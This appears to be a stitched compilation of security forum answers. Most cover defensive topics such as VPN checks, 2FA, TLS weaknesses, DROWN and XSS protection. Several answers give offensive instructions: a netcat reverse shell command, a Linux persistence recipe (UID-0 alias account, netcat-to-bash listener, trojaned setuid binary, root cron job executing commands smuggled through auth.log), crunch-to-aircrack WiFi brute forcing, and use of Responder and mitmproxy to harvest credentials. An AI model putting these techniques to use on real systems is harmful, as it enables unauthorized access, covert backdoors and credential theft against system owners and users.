If the server is located somewhere else, you can check if the traffic is being tunneled through the VPN server by checking what IP address you are coming from. Visit a site like http://www.whatismyip.com/ with and without your VPN software enabled on your phone and see if it is a different IP address displayed.

Capturing the traffic from the air is a little bit tricky involving some steps like having a wireless card that supports monitor mode and software that makes use of the monitor mode.

A simple way of inspecting all the traffic to and from your phone is to pass it through a device where you can run a pocket inspection tool. Here is a tutorial about using Internet Connection Sharing in Windows to set up a hotspot on your PC: http://lifehacker.com/5369381/turn-your-windows-7-pc-into-a-wireless-hotspot. Connectify Hotspot is also a simple software to use: http://www.connectify.me/hotspot/.

Once the traffic from your phone passes through your PC, you can use Wireshark on your PC to inspect the traffic for unencrypted text.


What should you do if you cannot spawn a shell in a buffer overflow attack?

A reverse shell should do it.  You have several options.  Read a bit more on it here.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

With netcat I believe it could be done the following way

nc -e /bin/sh 10.0.0.1 1234


Access MySQL via MySQL credentials, assuming no remote MySQL, FTP, or SSH access?

For most information systems, the asset value lies not in the software but in the data - so anyone with access to the data has access to the primary asset. There is scope for information theft, vandalism and injections.

You say you have now changed the passwords, however...

Assuming that they only ever had remote MySQL access, they could still install a backdoor using SELECT....INTO FILE to create a PHP, or Perl script.

If these were developers working on code you are still running then they could have added backdoors in that code too. Having inherited a system in just that state, I know how hard it is to identify the bad code.

That you use FTP and CPanel does not inspire a lot of confidence in the integrity of your system.


Does hosting an http->https redirect let http basic auth leak?

This is likely browser-dependent as it is related to a password manager component which is not standardized. It is also 3rd party software dependent as some password managers are provided by 3rd parties.

I have tested it on Firefox 52 ESR using a built-in password manager, and it uses schema as part of the authentication query. Thus if you stored credentials using https:// scheme, they will not be submitted with http:// schema - and vice versa.

Chromium 63 has exactly the same behavior.

Note that it depends on scheme, not port - you can have https://yourdomain:80 or http://yourdomain:443


Generally speaking, storing that information in the DB, encrypted is the better choice. Is there any reason you are not doing this?

I would be less worried about an attacker trying to attack the Laptop via a leaked Local IP since most laptops don't allow incoming connections, I would be more concerned about a person clicking a link which compromises the computer, allowing an attacker full access.

For question three, yes, generally, these systems are monitored, and locked down. If all it has is arbitrary stay information, than having it on the server system is better. I would assume you get their info from another DB? Even if you generate the XLMS on the server and have a script run, it's better than have it on one persons laptop.

The setup's safety is relative to the person managing the system. For instance, I as a Info Sec person, generally, have a more secure laptop than a lot of Small, Medium businesses. However, your admin should be following some basic best practices, which should increase the overall security of the server, so unless you are a paranoid Info Sec Bod, with an encrypted HDD, and 12 char password, who takes regular backups of files, than you "might" be fine, but from a business standpoint, no user laptop should run business functionality.


Unknown suspects hijacking our WiFi. Caught their MAC addresses

Physically finding them is not easy. If you are really willing to catch them, buy a couple ESP8266 modules (search eBay for them), research this project a little, drop a couple modules around and you can probably find them. But will cost a lot of time, effort and some money.

Even if you cannot physically locate them, you can play some tricks with them:

Install a captive portal, saying the network is an experiment on automated hacking and ask user to only continue if they agree. Ask for email or Facebook auth, or ask for a phone number to send a PIN to login.
Install something like Upside Down Ternet, Backdoor Factory or AutoPwn.
Put QoS in place on your router, and 1kbps bandwidth for anyone outside of a list.
Install Responder along with mitmproxy, get all auth data you can.

My network is pretty secure, but sometimes I think about installing a WEP wifi network just to play around with internet thieves.


Security considerations for a web application without log in feature

When using a One-Time-Token like that, you usually have at least four problems:

Time frame of validity. If the token is valid for too long, it might get compromised, if too short, the method of delivery might be too slow to allow for a good user experience.
Method of delivery. You do not want to send those tokens over an insecure channel like mail without PGP or S/MIME. If you do, the token (effectively the username and password during said timeframe from 1) might get compromised and everything breaks horribly. If you use PGP or S/MIME, that puts a heavy Burden on the users, effectively restricting the user base to about 1% of what is possible, as a rough estimate, as others do use neither technology and do not know how (and you're effectively putting the "hassle hurdle" to register quite high)
Method of requesting such a One time token. If you allow for any unauthenticated user to put in a name and have you use some (probably computationally hard and resourceful) crypto and a communication channel, there's a higher attack surface for DDoS-Attacks.
Usability. If this does not yet sound like UX hell: what about people that do not have PGP on their phones (not free on most platforms) but want to use your service while on the go? What about people using a machine at some other place, like internet Cafés? You do not want to also check mail or whatever way to send the token you come up with there.

Oh and while I'm at at: your question sounds like you're never invalidating the tokens. That's horrible for many reasons, as is the length of your example token - it should have a lot more entropy and a lot more characters.


Make sure the keys are protected by a good passphrase and export them to some trusted storage, such as USB stick.
Yes. You can even change expiration date of your keys just for yourself to make them valid again.


Make signed file from content file and its detached signature?

In general, you can not simply take a detached signature and combine it with the original data to create a clear-signed message, unless you normalize the input before creating the signature.

GnuPG will pack the original input text differently, depending on the type of operation (detached vs. clear-sign). RFC4880 section 7.1 makes note of this (http://tools.ietf.org/html/rfc4880#section-7.1).

  As with binary signatures on text documents, a cleartext signature is
    calculated on the text using canonical  line endings.  The
    line ending (i.e., the <CR><LF>) before the '-----BEGIN PGP
    SIGNATURE-----' line that terminates the signed text is not
    considered part of the signed text.

So, we must first normalize the line endings of the input text, then remove the final <CR><LF> from the end of the text.

Here is an example of how the original input data would need to be altered:

gpg --armor --output filename.txt.asc --detach-sign <(sed 's/$/\r/' filename.txt | head -c -2)

That will create the detached signature (filename.txt.asc) after first converting the line endings ('$') to a carriage-return ('\r'), and also remove the carriage-return + line-feed from the end of the text input.

Now you can build a clear-signed message from the signature (filename.txt.asc) and the original file (filename.txt), like so:

gpg --verify <(echo -e "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n$(cat filename.txt)\n$(cat filename.txt.asc)")

(you will have to replace the hash algorithm - SHA1 in my example - with whatever you are actually using)

Also, it should be noted -

  gpg --armor --output filename.sig --detach-sign filename.asc
  Signature is extracted from signed file filename.asc and saved in filename.sig.

This does not extract any signature -- it creates a new signature of the data within the file filename.asc (including the original signature), and saves it to filename.sig.  If you pass --clearsign instead of --detach-sign you will see what I mean.


Is it safe and permissive to remember devices to skip two factor authentication when dealing with sensitive information?

In this specific case, I would recommend against remembering 2FA. Most of your users will probably ask the browser to save their login and password, so saving the 2FA state will remove a safety barrier.

If someone loses his device (stolen or forgotten somewhere), there's nothing to stop anyone to just log back in and download everything. If you enforce a sensible session inactivity expiration timer (say 15 minutes), and not remember 2FA, even a saved login will not grant access.


What are the security implications of the POLi Internet Payments technique?

You are entering your internet banking credentials into an interface owned by a merchant. The iframe comes from POLi, but there's no easy way for an end user to verify that, and the parent page would still have the opportunity to mess with the frame.

So you should not enter your credentials on this interface unless you trust:

POLi not to store or misuse the credentials you are giving them;
the merchant not to purloin the credentials, through clickjacking or just pointing the frame to some other source (phishing-style);
any third-party script providers used by the merchant (eg analytics, advertising) not to inject script content that would purloin the credentials;
the merchant to keep their entire web site safe from all XSS vulnerabilities that might let an attacker purloin the credentials.
POLi not to have any vulnerabilities where other parties can gain information through including their interface in an iframe and using clickjacking. (This is difficult to fully prevent when your interface must allow iframing.)

POLi are effectively doing a man-in-the-middle attack on your online banking and predictably some banks are upset about that. If you suffer from fraud (whether or not related to use of the POLi service), your bank might be able to argue that you have some liability, for not keeping up your end of the bargain to keep your banking credentials secret from everyone but the bank.

POLi aren't the only party taking this approach—see for example Germany's Sofortüberweisung. I personally consider it an insane idea, but it's hardly the first insane idea to catch on from the financial world.


Here is a tutorial on using WinDbg to debug via named pipe:

  Doing remote debugging using WinDbg is easy and can be done in one of
  a number of ways. In the following, ‘debugging server’ is the debugger
  running on the machine where you’d like to debug; ‘debugging client’
  is the debugger controlling the session.

  To start a server:

- WinDbg –server npipe:pipe=pipename (note: multiple clients can connect), or
- from within WinDbg: .server npipe:pipe=pipename (note: single client can connect)


How to recover account with an old phone number?

In this kind of case, contacting the support of the company would be the only option left.
A support staff will be able to escalate it to support engineers that will manually reset your account for you, or update your mobile phone number to the present one so you can complete the recovery steps.


How to encrypt columns in a database and be able to easily change encryption key

If you are using MSSQL, switch to Transparent Data Encryption and don't encrypt by yourself. This will be massively more maintainable as you will be able to run queries against the data while encrypted.

https://connect.microsoft.com/SQLServer/feedback/details/676553/transparent-data-encryption-tde-for-sql-server-standard

Failing that (due to licensing?) use the built in cell level ecryption


I'm using KeePass. But you wouldn't be able to create multiple accounts with different permissions there. You've mentioned a few online password management tools - I wouldn't trust any online tool to store all my passwords. If you need more then one person to have access and update the passwords database Keepass has a feature to synchronize with a file (in a network folder or in a cloud).


how does spotify do oauth(+open id connect) from the desktop app?

They use a concept sometimes called "Universal Links" or "App links". Here's an example of how those are implemented in Windows: https://docs.microsoft.com/en-us/windows/uwp/launch-resume/web-to-app-linking and here's one for iOS apps: https://developer.apple.com/ios/universal-links/

The idea is that these are HTTPS URLs that can be mapped to particular applications in your environment. Assuming they are mapped properly, the app will launch rather than a browser. However, if the app isn't installed / mapped properly, then (since it is still just an HTTPS url) the browser will load the URL instead. The URL they are given contains the auth code necessary to complete the OAuth grant, just as if it were a normal web application.


When should I drop a packet with ICMP type 3, code 9 or 10, TCP RST, or TCP ACK?

The difference is in the amount of information you provide to the sender of the packet.

says, essentially: "No-one here. Your SYN packet went to nirvana." It provides the least amount of information to the other end. It also slows down attackers because they have to wait for a timeout.
says: "Forbidden. There's someone here but they don't want to talk to you." It's the most helpful and polite response but may incite an attacker to try getting around the firewall.
says: "Port closed. The target machine exists but the port is not in use." It is somewhat misleading and may hinder network troubleshooting, or incite an attacker to proceed probing other ports.
says: "Port open. Will set up your connection." It doesn't make any sense to reply in that way to a blocked packet.

Which of these you choose is a matter of policy or personal preference. If you feel paranoid, choose #1. If you want to make the network administrators' job easier, choose #2. Personally I don't see much benefit in #3, and #4 is definitely out.


Avoid unauthorized updating of online leaderboard php/sql

I disagree that it is impossible.

Depending on the form of your game it might be possible to apply the following scheme:

During the game, record the starting state, including seeds to RNGs and all inputs from the user.
When submitting the game, submit this "replay" of the session to the server together with the claimed score.
On the server, run through the game logic with the provided input and see if it results in the same score. If it does, the replay is valid and you update the score.

This way, you have effectively transformed the problem of cheating to the problem of writing a bot or a solver for your game which is the best you can ever get in a situation like this.

Basically this is a very good solution for any games that can be viewed as an NP-complete problem where verifying a solution is computationally easy while finding it is computationally hard. One such example is Sokoban.


Do I REALLY need to change my email password when idnotify.com Dark Web Monitoring recommends?

If you have not registered for Dubsmash ,ignore the alert. Please check the headers of the mail that your have received this alert from. If the source seems suspicious to you or blacklisted, ignore the alert. Request you to report the abuse activity of the source(relay server) here.

If you have signed up for the service and headers seem good follow below.

Check if any reports/news of Dubsmash has been breached recently.
Do advance googling to see if your account has been really breached.
Do check about your email in sites like pastebin,doxbin, etc.

If any entries found, no harm in changing your password. But try to change password from the official site or app of Dubsmash.


Most Secure Way to Install Python on Windows 10

In general, for most users, there's no need to install Python "virtualized" or "sandboxed." A malicious program would have the same "permission" level (run all the same user level OS assembly instructions) with or without Python installed. Python would only be a vehicle for execution.

Before installing any program, it's always good to verify the integrity of the application either through a posted hash, or ensuring that the code-signing certificate is valid and from the correct publisher (especially when downloading from non-official websites). This would mean a high confidence the application wasn't modified before it got to your computer. For trusted programs like Python, this is much more important than sandboxing.

If you wanted to take this up a notch, you could always install Python on a virtual machine and do all your work on the virtual machine. This would virtually eliminate the possibility of adverse effects on your main machine (though, certain vulnerabilities like spectre and meltdown could still theoretically affect your main machine from your VM).


What are some ways to check for XSS (Cross-Site-Scripting) on a website?

I don't have a specific tool in mind but something that watched network traffic and identified cookies being sent to domains other than the issuer would detect the situation you describe.

As far as the question "Can an attacker still receive your cookies by inserting a XSS script on a HTTPS based website?" the answer is "Yes." There are a number of protections in modern browsers to help prevent this but unfortunately, none of the defaults, CORS being the major one I'm thinking of, prevent data being exfiltrated without at least some developer involvement.

The two major things a site developer should do to prevent cookie exfiltration are:

use the HttpOnly flag when setting a cookie, which instructs the browser to not provide access to the cookie in its JavaScript engine.
escape all input that's displayed back on a page. This prevents the initial insertion of potentially malicious javascript.


Generally speaking, you can always assume that brute force attacks will always be possible. The trick is limiting how effective they can be. Increasing the length, and or complexity but preferably length, is a good way to slow down a brute force.

So we can discuss specifics, let's assume that the attacker has access to your password hash and cannot use any shortcuts such as hash lookup tables. The length of time necessary to succeed is pretty strongly dependent on the speed of the compute power available. That is, a computer that is capable of checking 1,000 passwords per second will take much longer than a computer that is capable of checking 100,000 passwords per second. As compute power increases on computer systems, the length of time to perform an off-line brute force will decrease. So in this case you would want your password, or passphrase, to be sufficiently complex to render the brute force time longer than the expected lifespan of the password. That is, if you change your password every 6 months you want it to take at least 7 months to break.

Another common brute force method is to attempt to log into a life system, this is what you'll see commonly in scans, such as Morto, that have a common password list and look for systems using some simple credentials. Here the same principles apply, except you have a little more control over how the process can be slowed down. For instance, you can lock out remote systems after a certain number of attempts, respond with the Bad Password message with increasing delays, or lock out accounts after a certain number of bad passwords. All of those have their downsides, in that they can be used as a mechanism for DoS attacks. They are, however, fairly common. In some cases, such as PCI compliance, account lock outs are actually required.


DROWN vulnerability on root domain affect subdomains?

A not properly configured server can actually make you vulnerable to DROWN, let me show you how. As illustrated in DROWN's original website in order to be vulnerable, one of these 2 conditions has to be met:

  The server allows SSLv2 connections. This is surprisingly common, due to misconfiguration and inappropriate default settings. Our
  measurements show that 17% of HTTPS servers still allow SSLv2
  connections.

  Or
  Its private key is used on any other server that allows SSLv2 connections, even for another protocol. Many companies reuse the same
  certificate and key on their web and email servers, for instance. In
  this case, if the email server supports SSLv2 and the web server does
  not, an attacker can take advantage of the email server to break TLS
  connections to the web server. When taking key reuse into account, an
  additional 16% of HTTPS servers are vulnerable, putting 33% of HTTPS
  servers at risk.

The second case (the one on the right) is of our interest here. example.com or one of its subdomains support SSLv2 and your server at department.example.com happens to use the same SSL Certificate (which means its using the same public/private key pair). Even if your server only supports TLS protocol and not SSL, the attacker can abuse the one subdomain that uses SSLv2 to do the DROWN attack and decrypt your secure TLS session.

Mitigations

Get other servers which use the same certificate to apply secure configurations and disable old and insecure protocols (SSLv2).
If for any reason number 1 is impossible, get another single domain certificate with fresh keys for your own server on your subdomain. (This is an ugly patchy solution though)


House owner can see who's connected to WiFi; what more can he see?

1) Yes, atleast the certificate which contains the TLD even if you use SSL, the full contents if you don't.

2) If you are not using TLS or SSL to access your e-mail server, he doesn't need to "crack" anything, he can just read the password being sent on the wire and can see all your e-mail.  Use of TLS or SSL when connecting to your mail server will prevent this.

3) If he was any good, you wouldn't be able to, but keeping it patched and running a firewall should provide reasonable protection.

4) See each individual answer for countermeasures.  Additionally, you could use an encrypted VPN.  He'd know you were using the VPN, but the VPN would prevent him from knowing anything you were doing.  This, however, requires a VPN provider and the VPN provider would still be able to tell the same info you are worried about the owner doing.


Why do websites ask for the last four digits of your social security number?

I think it is here, under 1020.410 (i), which states:

  If the originator's bank has knowledge that the person placing the payment order is not the originator, the originator's bank shall obtain and retain a record of the originator's taxpayer identification number (e.g., social security or employer identification number) or, if none, alien identification number or passport number and country of issuance, if known by the person placing the order, or a notation in the record of the lack thereof.

If I interpret this correctly, it means that venmo, coinbase, stripe, etc, need those digits for this in order to legally send money from your bank account.


Any reasons for using "Basic HTTP" authentication?

The point of difference between using HTTP Authentication vs Application specific authentication is where you want the authentication and authorization logic to be handled.

HTTP Authentication means that the HTTP layer (apache, nginx, IIS, etc) will responsible for maintaining authentication. Application authorization means that the web application (java, php, django, etc) would control authentication and authorization.

Why the difference?

Remember that HTTP is stateless. Thus, by adding an authorization component, HTTP can prevent or allow users to access certain resources. The most likely use of this kind of authorization is when you don't have any application logic yourself. For example, if you want to allow file directory browsing in apache, but only to certain users, you can modify the .htaccess file to restrict the directory to certain users.

However there are many reasons why applications handle the authorization logic instead of the HTTP server. First, most applications handle sessions. This is done by using cookies. Thus, only the cookie value must be retransmitted. If you are handling sessions in the application layer, it will almost always be easier to handle authorization in this layer as well. Almost always, sessions are preferred because the content of your application will be dependent on "who" is doing something.

But my application can read the HTTP Headers, why use forms if HTTP provides a mechanism?

A further benefit to using sessions includes the implicit ability to log out. Because HTTP authorization has no concept of a session, you can't really log out. It would be up to the browser (or in your case, the Android application) to forget the credentials, but the server has no control over it. Even if your server wants to enforce some kind of log out, it can't with HTTP Authorization.

Security benefits of form based authentication

Because form based authentication generally involves sessions, it is usually more secure, so long as the security of your resources are dependent on sessions.

Security benefits of HTTP Authentication

HTTP Basic authentication is worse than forms based authentication because of the lack of sessions. However, you can get some benefits by using HTTP Digest Authentication, which computes hashes against credentials and nonces to avoid sending plain text credentials. Thus there is a tradeoff between sending clear credentials or letting the server side application maintain the session.

Can't I compute hashes on the client side before transmitting the credentials?

For browser based applications, many people think using javascript to compute a hash before sending a credential is better than using a plain text password, but these people are wrong. In order to protect the password, the server sends client code that it must run. However, if an attacker is in a position to talk to the client, he can substitute this code for his own. Thus, the security benefit of using javascript to compute a hash is so minimal it is rarely done.

Since you mentioned using this API within an Android Application, hashing does make sense. Because you can compute the hash with a predefined client routine, there are clear benefits to using a hashing mechanism as described in RFC 2607. I would still recommend performing authorization in the application layer though, as you want to manage sessions for a user.


Prevent Replay Attack When using FingerPrint as login

That's not possible without TPM. Once a client digitally stores its biometric data, it can reuse it in the authentication request. A nonce won't help either as the client is not replaying anything. It just reuses its biometric like a saved password.
Let app requests nonce from the web service, use that nonce in biometric authentication. Once TPM validates biometric, the authentication result from TPM along with the nonce will be certified which can be validated by the web service. This is called attestation.
TPMs do not certify biometric data as this data never leaves the secure environment. The implementation to use hardware backed attestation varies across OEMs and OS.


The only logical reasons I can think of why software would do this is to determine if a newer version is available or if to see if the license is valid.

By intercepting the traffic with Fiddler or Burp Suite you should be able to determine why it is calling home and what kind of information is submitted.

  Why would this be? Why would Shrewsoft's server need to be involved in establishing a VPN connection?

I doubt it is required to be involved in establishing a VPN connection, especially since you mentioned the connection is created when starting the application.


Before answering the question itself, one thing:
Don't do it, because there is a huge flaw in your thinking.

If your boss comes to you with a faked document with your copied hand-written signature, and asks you why you did this, how you will convince him that the document was not made by you, with malicious intentions? The digital signature software is solely made and used by you => If you can't be trusted, the software can't be trusted, and vice versa. If the software tells the boss "that's wrong", it could either be true or a continuation of your lies. Assuming the boss is not supid, you can't convince him that you did nothing wrong. ... It's a bit like self-signed HTTPS certificates. "I guarantee that I am honest". Well...

...

If you still want to do it:

Assumption: You're properly protecting your system against unauthorized access, and you don't plan to give others access to create / store documents.

UUID are not better than crypt. signatures, so I won't talk about it at all.

A crypt. signature without online storage of the whole document:
Tldr: Some fallacies, and tedious in the best case.
You don't have to print the signature in the place where the hand-written signature is, it can be anywhere on the paper. And if done right, it's secure, but there is a fallacy whole governments get wrong:
Don't sign the binary content of a file. If you do, the paper document can't be verified, because scanning won't get you 100% the same file again. (And there's the problem of inserting the signature in the document after signing = changing the document...).
You need some process to sign only the core content. And to verify, someone needs to retype everything in the computer, without any error.

Crypt. Signature with online storage is better, but...

If you have the document online, you just can print a link to the online version, and to verify, the reader can compare it with the paper version visually. No need for any signature.


I know this answer is too late but better late than never. You can use signed-url of cloudfront to allow user access to specific objects.

https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-signed-urls.html


How do I change my IP Address after a specific number of loops in Python?

TL;TR: it is probably not possible what you want unless you add more illegal activity to your in several countries already illegal activity.

You cannot simply change your public visible IP address, at least not as log you want to have internet connectivity. If you are using DSL, cable, mobile phone etc your IP is assigned to you by the respective ISP. While it might change if you cut the connection to this ISP (i.e. reboot DSL/cable router or phone) the IP will not necessarily be different when you reconnect. In other networks like a public hotspot you only get a local IP address and even if you can change it it will not cause a change in the public visible IP address.

It might be that you have a public IPv6 address though. In this case you might try to change it using the respective OS command (i.e ip addr, ifconfig, ipconfig... - depending on your OS). But you still need to keep the same IPv6 prefix to keep connectivity and my guess is that google will just have restrictions based on prefix and not the actual IP address. And of course you would need to make your script use IPv6.

If you are in control of a botnet you can try to use it to spread the brute forcing over several IP addresses. But being in control of such a botnet is illegal in most countries.


How to secure a web service that allows custom user defined paths?

There are certain URLs that are given special meaning to certain web services and client software that you need to make sure can't be used to lead to arbitrary content. (Flash's "/crossdomain.xml", LetsEncrypt's "/.well-known/<...>", Google domain verification's "google<...>.html", etc.) Imagine if someone makes a YouTube video named "crossdomain.xml" with valid xml content within the video's description set up to trick the Flash plugin of visitors into thinking the attacker's site can freely make ajax connections to your domain, and then accessing "youtube-rss.com/crossdomain.xml" triggered a YouTube search for "crossdomain.xml" and displayed the first result's description. That exact attack may not work out depending on details about Flash and your website, but there are tons of possibilities like this that may work if you allow any URL to include user-controlled content.

An easy and effective way to defend against this without needing to enumerate all the possible special URLs would be to have a strict whitelist of patterns you support in the URL. If the YouTube URLs you are interested in mimicking always follow a format like "/video?id=[a-z0-9_]+" and "/[a-z0-9_]+", then only process those kinds of URLs, and make sure you correctly limit the allowed symbols in the identifiers. Do not specifically blacklist these URLs (because there are surely many other similar ones too), but double check that these do not pass your whitelist: "youtube-rss.com/crossdomain.xml", "youtube-rss.com/.well-known/abc", and "youtube-rss.com/google123.html".


In a way, this is pretty similar (in 'effect' and in intention) to running a honeypot: you gain advance notice of who might be poking around, and to some extent, gain some insight into their capabilities (obviously, in this case, you don't learn all that much).

It may also allow profiling attackers to some degree: unsophisticated actors would either move on(because their scanning script checks for a bunch of things before spitting out a report), or if a human was at the keyboard, maybe do what you did, and test out a few things (in which case, you can indeed bet your testing would have caused your activities to be 'looked' at a bit more closely).

Sophisticated actors might have a script that followed up on such a result, which might expose the details of their script (or thinking).

So I would assume it isn't "just" a dev having some fun - there is almost certainly some kind of purpose to this (it may be that purpose was defined post-fact, but still).

And yes - considered as a honeypot of sorts, I would tend to think this is worth it on balance - I am sure it is reasonably easy to create filters for any reports this might generate.


Deauthentication attacks, from or to client?

Here, you can find the answer to your question. Basically deauth attack uses both AP and Station (client) for a successful attack.
To further add to the answer and make it more specific, the attack can be done in two ways: -
1. Deauthenticating a specific station(s) -> In which a request is sent to the AP as well as to the station(s) to disconnect the station(s).
2. Deauthenticating all the stations -> A broadcast mechanism is used.

Hope this helps!


The architectural issues you mentioned seem to have been resolved, according to this comment:

  The MathML code had fundamental architectural issues (e.g. modifying the render tree during layout) that are guaranteed to introduce security vulnerabilities. Until those underlying issues were fixed, our fuzzing infrastructure was just going to continue identifying new triggers for the vulnerabilities.

Despite this fact, adding new and highly complex code with unclear ownership (i.e. who should be maintaining it) is a recipe for security vulnerabilities. Any time you add complex features to a browser render engine, you risk introducing severe security bugs. It seemed that Google tried adding it and found that the risk of new bugs was just too high and removing them all was just too difficult for them to go forward. Unless someone can provide high-quality code and is willing to maintain it completely, it is unlikely that Google Chrome will be getting native MathML support.

See the relevant threads at the Google bug tracker:

Enabling support for MathML
Missing MathML implementation


Is the idea of Single Sign-On (SSO) a flawed concept without Two-Factor Authentication (2FA)?

Yes, SSO with-or-without 2FA makes sense from a security perspective, but not in the direction you've considered.  SSO provides a way to instantly deny access to compromised credentials across all the systems that subscribe to it.  So if my account is compromised on site A, the security provider can force a single password change that will impact my SSO account on all other protected sites.  2FA does not impact this one way or another.

Consider that SSO can initially be deployed without 2FA, but it can be converted by the security provider to use 2FA at a later time.  This will deliver 2FA benefits to every site without those hundreds of sites having to change their codebases at all.  That's a compelling argument not just in favor of 2FA, it's a benefit of outsourcing your security to a service dedicated to handling user authentication.  They can make improvements to your clients' security without you needing to expend any resources.

If 2FA is even remotely an option, yes, of course you will improve security by choosing it.  The only reason not to choose it today would be legacy system compatibility, and you shouldn't let that stop you from deploying it on a new system.
2FA is not a magic bullet.  It's a great improvement in security, but it's not invulnerable.  Nor is single factor authentication a complete failure.  Many sites that don't employ 2FA haven't had a breach.  :-)  All that said, Account Take Overs are pretty much shut down by 2FA, so you can actively help your users protect themselves by deploying it.

Finally, circling back to your anecdotal story of "I personally have a unique password for every one of my 100 or so logins with a system that allows me to remember them", this has two significant problems that you haven't acknowledged.  First, you are much better trained and far more skilled than 99% of common users - skills and techniques you may think are easy are far beyond the reach of virtually half the population of the planet. This solution does not and cannot scale to benefit all users.  SSO may be a compromise that introduces additional (and significant) risks, but it's a compromise that will benefit the full spectrum of the public.

Next, be aware that if a threat actor is targeting you specifically (different than someone driftnet trawling with passwords stolen from a large breach), and compromises your password on three different low-value sites, he may acquire enough data points to recognize the pattern underlying your password generating algorithm.  From there, he can try logging on following the same algorithm to derive potential passwords for you at high value sites, such as mybank.com, firstbank.com, lastbank.com, myretirementaccount.com, etc.


Code signing and ACL'ing the system locations are two mechanisms. windows won't load DLL's or EXE's that aren't signed by the Windows code signing key for system calls. Windows also periodically verifies the state of the files by making sure only code-signed file are present. Further, the default ACL's prevent writing to the system directories that store these DLL's and EXE's unless you're an administrator.

Windows has no real notion of protecting against administrators.


Is it possible for a virus/worm to attack on your host to attack the guest OS?  Yes.  Is it likely?  No.

Malware can do anything you can do, including writing to the virtual disk.  The easiest route would be to simply mount the virtual machine drive, and write new malware to it. This is unlikely because it would take specially crafted code to exploit this.  It's unlikely that malware writers would care about this rare corner case.  Malware is about volume, not targeting individuals.  Unless someone is specifically after you, it's not a serious concern.

What is very easy is running a keylogger on the host OS.  A keylogger on the host OS would still be able to log keystrokes on the guest, since all keystrokes still go through the host OS and the guest OS is just another application running on the host.

So a virtual machine can't protect you in any way from keyloggers.


Can or should whitelisting replace encryption?

The sniffing problem is about "confidentiality", which whitelisting does not cover, as the traffic can be intercepted and read.

The MitM problem is about "authenticity", which whitelisting does not cover either, as an intercepted packet can be modified without evidence of tampering.
I assume the whitelisting uses IP addresses, which can be arbitrarily forced into TCP/IP packets.


Internet connection for POS of a Third Part

Communication from the POS to the payment gateway should be encrypted. You do not have any access to the encryption keys. Hence it is impossible for you to get access to any card holder data.

Even if the traffic is not encrypted, those responsible for the POS would have to require you to provide a PCI DSS compliant network, for you to have any responsibility.

If card holder data is stolen, an investigation will try to find out where the data were stolen. If they're able to find a CPP (common point of purchase), and that the data were actually stolen from that merchant, the card brands will hold the acquiring bank responsible. Depending on the legal agreement between the merchant and the acquiring bank, the acquirer might fine the merchant.

Hope that helps.


Anyone know of security tools utilizing google's prediction API?

If I were to make a fairly estimated guess, I'd say it was this suspicious login notification thing.

It's not as complicated as you initially portray. At best, it's like Evercookie, Panopticlick,  and Quova mixed up (at worst, it's just squid-imposter bundled into Metasploit with instructions). It's going to tell you when authenticated users using the same credentials are in two place at once, or when ones sourced from dangerous countries, or other extenuating, potentially predictable situation.


How do I create an invisible and persistent user on linux?

It rather depends what you mean by "invisible".

It's not really possible to change the behaviour of the system and leave no detectable trace. All you can do is make it harder to find those traces. At the extreme end of the scale you could compile a kernel module capable of hiding itself which has an interface back into userspace - although this is far from trivial. A the other end of the scale you could add an alias for an existing user to /etc/passwd and /etc/shadow, e.g.

     root:x:0:0:root:/root:/bin/bash
     toor:x:0:0:root:/root:/bin/bash

     root:$1$WXYZabc4:17158:0:99999:7:::
     toor:$1$ABCxyz12:17158:0:99999:7:::

(your target will be using a more recent and verbose crypt implementation). This is visible in the affected files.

You could plumb a shell directly into the network with netcat or [x]inetd

 nc -l -p 8282 | bash

...although this is rather obvious and will show up in netstat and ps.

You could add a shell to an existing system user and set a password, then to leverage privileged access you'd need a setuid program. You no doubt already know that setting the setuid bit on a script isn't going to work - so maybe a modified version of su which skips pam for your magic username. Don't just drop it in /bin - overwrite an existing setuid program which you think is unlikely to be used (e.g. ping6). It'll still show up in tripwire or ossec.

One fun one would be to identify somewhere you can write data to without authenticating and set up a cron job as root to extract strings and run them as root (the following is deliberately simplified):

 #!/bin/bash

 tail -100 /var/log/auth.log | \
 awk '/Failed password for gangsta/ {
       split($0, out, "gangsta|from");
       print out[1] "\n";
      }' >/tmp/myscript
 . /tmp/myscript
 rm -f /tmp/myscript

...again this may get picked up by a host IDS, and beware that cron mails users with the output of their jobs unless you override this in the cron file.


Why am I getting fake virus alert pop-ups on Facebook?

This is probably malvertisement, i.e. malware or scareware (like in your case) delivered inside the sites advertisement. Or you have some malicious ad-injecting browser extension installed or some ad-injection software like Superfish. Hard to tell what exactly is the case.

In the first case it might get fixed by installing an ad-blocking software, at least unless the site in question currently tries to work around ad-blocking software. In the other cases check your system for browser extension or some strange software. Note that browser extension turned malicious in the past and that ad-injecting software often comes bundled with some free software.


Are there security reasons for prohibiting universal mac address modification?

It is difficult to answer this question, because we don't have any insights on the way of thought of those at MicroSoft.
However, as you said, there are two types of MAC's: a universally-administered address (UAA) and a locally-administered address (LAA).
UAAs get the MAC-ID from the vendor; it contains the vendor's OUI.  Although you can, you should never use these yourself, unless you are a vendor. They are (more or less) guaranteed to be unique. You should never get a second device with the same MAC; no collisions.
LAAs are meant to be locally administered. If you get a collision, it's your problem.
So, for a normal end user, or  even a company, if you use your MACs, you would only use LAAs, by fear of collisions. Why should you need to change it to an UAA then? Windows probably would conclude that this is an error that must be prevented.
For many of these actions, there is a "are you sure"-dialog. However, MicroSoft probably cannot see a legitimate case where such a change is needed, so you are probably hacking.
But then again, unless someone who made the decision at MS answers, we'l never know.


Why does my private OpenPGP key look different between devices?

This is more of a troubleshooting question than a security question. I will ask several questions to help you identify the problem:

Are you using the same version of GPG on all systems?
Are you using the same encryption algorithm for the key in all cases?
Are you using GPG in all cases, or are you also using PGP?

Read: GnuPG Frequently Asked Questions question 5.7 which says:

Another possibility is this: by default, GnuPG encrypts your secret key using the Blowfish symmetric algorithm. Older PGPs will only understand 3DES, CAST5, or IDEA symmetric algorithms. Using the following method you can re-encrypt your secret gpg key with a different algo:
  $ gpg --s2k-cipher-algo=CAST5 --s2k-digest-algo=SHA1 \
        --compress-algo=1  --edit-key <username>


Bruteforce using crunch and Aircrack (custom starting number?)

crunch 10 10 0123456789 -t 760%%%%%%% | aircrack-ng ...........

where 760 are the first three characters and the percents are any possible number. Meaning % stands for any number after 760

for lower-case letters replace % with @
for upper-case letters replace % with '
for symbols replace % with ^


Does Windows Authentication Use Secured Connection

